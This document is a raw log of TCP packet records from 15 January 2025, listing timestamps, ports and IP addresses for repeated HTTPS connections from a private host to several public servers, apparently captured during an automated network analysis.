Jan 15, 2025 20:16:21.347970009 CET	49768	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:21.348018885 CET	443	49768	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:21.348090887 CET	49768	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:21.348664999 CET	49768	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:21.348684072 CET	443	49768	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:21.387012005 CET	49726	443	192.168.2.5	142.250.181.228
Jan 15, 2025 20:16:21.393647909 CET	49760	443	192.168.2.5	216.58.206.78
Jan 15, 2025 20:16:21.524416924 CET	49703	443	192.168.2.5	23.1.237.91
Jan 15, 2025 20:16:21.524488926 CET	49703	443	192.168.2.5	23.1.237.91
Jan 15, 2025 20:16:21.524934053 CET	49769	443	192.168.2.5	23.1.237.91
Jan 15, 2025 20:16:21.524976015 CET	443	49769	23.1.237.91	192.168.2.5
Jan 15, 2025 20:16:21.525063992 CET	49769	443	192.168.2.5	23.1.237.91
Jan 15, 2025 20:16:21.525681019 CET	49769	443	192.168.2.5	23.1.237.91
Jan 15, 2025 20:16:21.525691986 CET	443	49769	23.1.237.91	192.168.2.5
Jan 15, 2025 20:16:21.529356003 CET	443	49703	23.1.237.91	192.168.2.5
Jan 15, 2025 20:16:21.529372931 CET	443	49703	23.1.237.91	192.168.2.5
Jan 15, 2025 20:16:21.784473896 CET	443	49752	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:21.784590006 CET	49752	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:21.784625053 CET	443	49752	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:21.784667015 CET	443	49752	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:21.784672022 CET	49752	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:21.784717083 CET	49752	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:21.791112900 CET	49752	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:21.791131973 CET	443	49752	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:22.037432909 CET	443	49768	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:22.037512064 CET	49768	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:22.037931919 CET	49768	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:22.037945032 CET	443	49768	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:22.039760113 CET	49768	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:22.039767027 CET	443	49768	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:22.039838076 CET	49768	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:22.039858103 CET	443	49768	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:22.039865017 CET	49768	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:22.039870024 CET	443	49768	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:22.039963007 CET	49768	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:22.039987087 CET	443	49768	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:22.040112972 CET	49768	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:22.040157080 CET	443	49768	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:22.040262938 CET	49768	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:22.040291071 CET	443	49768	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:22.040292025 CET	49768	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:22.040302992 CET	443	49768	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:22.040312052 CET	49768	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:22.040317059 CET	443	49768	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:22.040405035 CET	49768	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:22.040427923 CET	49768	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:22.040431023 CET	443	49768	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:22.040441990 CET	443	49768	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:22.040452003 CET	49768	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:22.040462017 CET	443	49768	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:22.040477037 CET	49768	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:22.040529013 CET	443	49768	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:22.149614096 CET	443	49769	23.1.237.91	192.168.2.5
Jan 15, 2025 20:16:22.149746895 CET	49769	443	192.168.2.5	23.1.237.91
Jan 15, 2025 20:16:22.357300997 CET	49776	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:22.357372999 CET	443	49776	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:22.357548952 CET	49776	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:22.357836008 CET	49776	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:22.357867002 CET	443	49776	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:23.029036999 CET	443	49776	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:23.029126883 CET	49776	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:23.029526949 CET	49776	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:23.029552937 CET	443	49776	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:23.032485008 CET	49776	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:23.032495975 CET	443	49776	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:23.032624960 CET	49776	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:23.032660007 CET	443	49776	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:23.032780886 CET	49776	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:23.032812119 CET	443	49776	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:23.032840014 CET	49776	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:23.032856941 CET	443	49776	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:23.032896042 CET	49776	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:23.032912970 CET	443	49776	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:23.467395067 CET	443	49768	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:23.467504978 CET	49768	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:23.467542887 CET	443	49768	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:23.467618942 CET	49768	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:23.468274117 CET	49768	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:23.468322039 CET	443	49768	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:24.141479015 CET	443	49776	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:24.141633987 CET	49776	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:24.141647100 CET	443	49776	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:24.141861916 CET	49776	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:24.143445015 CET	49776	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:24.143461943 CET	443	49776	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:24.393733978 CET	49788	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:24.393770933 CET	443	49788	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:24.393887043 CET	49788	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:24.394282103 CET	49788	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:24.394294977 CET	443	49788	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:25.044805050 CET	443	49788	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:25.044877052 CET	49788	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:25.045463085 CET	49788	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:25.045471907 CET	443	49788	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:25.048372984 CET	49788	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:25.048377991 CET	443	49788	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:25.048476934 CET	49788	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:25.048485041 CET	443	49788	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:25.048549891 CET	49788	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:25.048558950 CET	443	49788	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:25.048580885 CET	49788	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:25.048588037 CET	443	49788	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:25.048635006 CET	49788	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:25.048640966 CET	443	49788	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:25.048782110 CET	49788	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:25.048800945 CET	49788	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:25.048845053 CET	49788	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:25.048885107 CET	443	49788	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:25.048973083 CET	49788	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:25.048983097 CET	443	49788	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:25.048995018 CET	49788	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:25.049000025 CET	443	49788	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:25.049036026 CET	49788	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:25.049041033 CET	443	49788	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:25.415252924 CET	49801	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:25.415309906 CET	443	49801	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:25.415384054 CET	49801	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:25.415895939 CET	49801	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:25.415915012 CET	443	49801	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:26.065157890 CET	443	49801	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:26.065228939 CET	49801	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:26.065859079 CET	49801	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:26.065871954 CET	443	49801	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:26.068655968 CET	49801	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:26.068661928 CET	443	49801	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:26.354243040 CET	443	49788	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:26.354403019 CET	443	49788	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:26.354460955 CET	49788	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:26.354460955 CET	49788	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:26.355602026 CET	49788	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:26.355628014 CET	443	49788	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:26.924124956 CET	443	49801	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:26.924196959 CET	49801	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:26.924232960 CET	443	49801	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:26.924276114 CET	443	49801	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:26.924289942 CET	49801	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:26.924334049 CET	49801	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:26.926443100 CET	49801	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:26.926460028 CET	443	49801	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:31.562442064 CET	49846	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:31.562491894 CET	443	49846	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:31.562650919 CET	49846	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:31.569400072 CET	49846	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:31.569416046 CET	443	49846	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:31.982325077 CET	49858	443	192.168.2.5	18.244.18.38
Jan 15, 2025 20:16:31.982335091 CET	443	49858	18.244.18.38	192.168.2.5
Jan 15, 2025 20:16:31.982417107 CET	49858	443	192.168.2.5	18.244.18.38
Jan 15, 2025 20:16:31.982810020 CET	49858	443	192.168.2.5	18.244.18.38
Jan 15, 2025 20:16:31.982817888 CET	443	49858	18.244.18.38	192.168.2.5
Jan 15, 2025 20:16:32.222563982 CET	443	49846	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:32.223048925 CET	49846	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:32.701072931 CET	49846	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:32.701100111 CET	443	49846	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:32.703625917 CET	49846	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:32.703630924 CET	443	49846	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:32.703685999 CET	49846	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:32.703692913 CET	443	49846	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:32.724992037 CET	443	49858	18.244.18.38	192.168.2.5
Jan 15, 2025 20:16:32.773675919 CET	49858	443	192.168.2.5	18.244.18.38
Jan 15, 2025 20:16:32.773684978 CET	443	49858	18.244.18.38	192.168.2.5
Jan 15, 2025 20:16:32.775135994 CET	443	49858	18.244.18.38	192.168.2.5
Jan 15, 2025 20:16:32.775192976 CET	49858	443	192.168.2.5	18.244.18.38
Jan 15, 2025 20:16:32.791964054 CET	49858	443	192.168.2.5	18.244.18.38
Jan 15, 2025 20:16:32.792110920 CET	443	49858	18.244.18.38	192.168.2.5
Jan 15, 2025 20:16:32.925029039 CET	49858	443	192.168.2.5	18.244.18.38
Jan 15, 2025 20:16:32.925039053 CET	443	49858	18.244.18.38	192.168.2.5
Jan 15, 2025 20:16:33.033853054 CET	49858	443	192.168.2.5	18.244.18.38
Jan 15, 2025 20:16:33.352658987 CET	49864	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:33.352742910 CET	443	49864	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:33.352833986 CET	49864	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:33.429830074 CET	49864	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:33.429908991 CET	443	49864	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:33.480737925 CET	443	49846	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:33.480829000 CET	49846	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:33.480842113 CET	443	49846	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:33.480925083 CET	49846	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:33.480941057 CET	443	49846	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:33.481000900 CET	49846	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:33.489231110 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:33.489259958 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:33.489332914 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:33.489711046 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:33.489731073 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:33.530512094 CET	49846	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:33.530534029 CET	443	49846	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:33.602380991 CET	49870	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:33.602412939 CET	443	49870	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:33.602526903 CET	49870	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:33.602806091 CET	49870	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:33.602833033 CET	443	49870	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:33.603082895 CET	49871	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:33.603167057 CET	443	49871	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:33.603247881 CET	49871	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:33.603363991 CET	49871	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:33.603396893 CET	443	49871	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:33.612569094 CET	49872	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:33.612591028 CET	443	49872	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:33.612656116 CET	49872	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:33.613125086 CET	49872	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:33.613147974 CET	443	49872	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:34.068058968 CET	443	49870	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:34.068677902 CET	49870	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:34.068696022 CET	443	49870	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:34.070139885 CET	443	49870	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:34.070208073 CET	49870	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:34.071346998 CET	49870	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:34.071443081 CET	443	49870	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:34.071690083 CET	49870	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:34.071705103 CET	443	49870	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:34.073734045 CET	443	49871	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:34.074043036 CET	49871	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.074105024 CET	443	49871	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:34.077696085 CET	443	49871	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:34.077779055 CET	49871	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.079277992 CET	49871	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.079417944 CET	49871	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.079478025 CET	443	49871	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:34.085942984 CET	443	49864	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:34.086361885 CET	49864	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:34.087110996 CET	49864	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:34.087138891 CET	443	49864	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:34.088985920 CET	49864	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:34.088999987 CET	443	49864	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:34.089320898 CET	49864	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:34.089356899 CET	443	49864	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:34.089968920 CET	49864	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:34.090013027 CET	443	49864	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:34.090833902 CET	49864	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:34.090883017 CET	443	49864	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:34.091223955 CET	49864	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:34.091270924 CET	443	49864	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:34.091300011 CET	49864	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:34.091314077 CET	443	49864	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:34.091397047 CET	49864	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:34.091434956 CET	443	49864	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:34.091439962 CET	49864	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:34.091461897 CET	443	49864	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:34.091475964 CET	49864	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:34.091499090 CET	443	49864	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:34.091516018 CET	49864	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:34.091528893 CET	443	49864	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:34.091582060 CET	49864	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:34.091610909 CET	443	49864	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:34.104835033 CET	443	49872	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:34.105043888 CET	49872	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.105066061 CET	443	49872	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:34.106880903 CET	443	49872	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:34.106947899 CET	49872	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.108515978 CET	49872	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.108637094 CET	443	49872	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:34.108726025 CET	49872	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.108737946 CET	443	49872	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:34.178610086 CET	49878	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:34.178641081 CET	443	49878	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:34.178702116 CET	49878	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:34.178915977 CET	49878	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:34.178922892 CET	443	49878	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:34.186203957 CET	443	49870	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:34.186276913 CET	49870	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:34.186618090 CET	49870	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:34.186634064 CET	443	49870	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:34.203214884 CET	49872	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.210550070 CET	443	49871	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:34.210654974 CET	49871	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.210980892 CET	49871	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.211020947 CET	443	49871	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:34.225713015 CET	443	49872	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:34.225795031 CET	443	49872	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:34.225886106 CET	49872	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.226042032 CET	49872	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.226059914 CET	443	49872	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:34.229094028 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.229324102 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.229337931 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.229702950 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.229715109 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.229784012 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.229796886 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.229849100 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.230396986 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.231884003 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.231950998 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.232069016 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.275332928 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.437870026 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.437886000 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.574121952 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.574163914 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.574198008 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.574249983 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.574251890 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.574260950 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.574317932 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.574326038 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.579006910 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.579094887 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.579101086 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.583374023 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.584623098 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.584630013 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.587829113 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.587912083 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.587918043 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.592263937 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.592443943 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.592457056 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.595949888 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.596040964 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.596054077 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.659090996 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.659387112 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.659403086 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.659698009 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.659816980 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.659842968 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.666119099 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.666193962 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.666207075 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.672683001 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.672800064 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.672816038 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.678608894 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.678690910 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.678706884 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.684823990 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.685009956 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.685028076 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.691024065 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.691720963 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.691730022 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.697556019 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.697659969 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.697666883 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.703641891 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.703718901 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.703727007 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.709908009 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.710474968 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.710481882 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.716303110 CET	443	49868	142.250.186.33	192.168.2.5
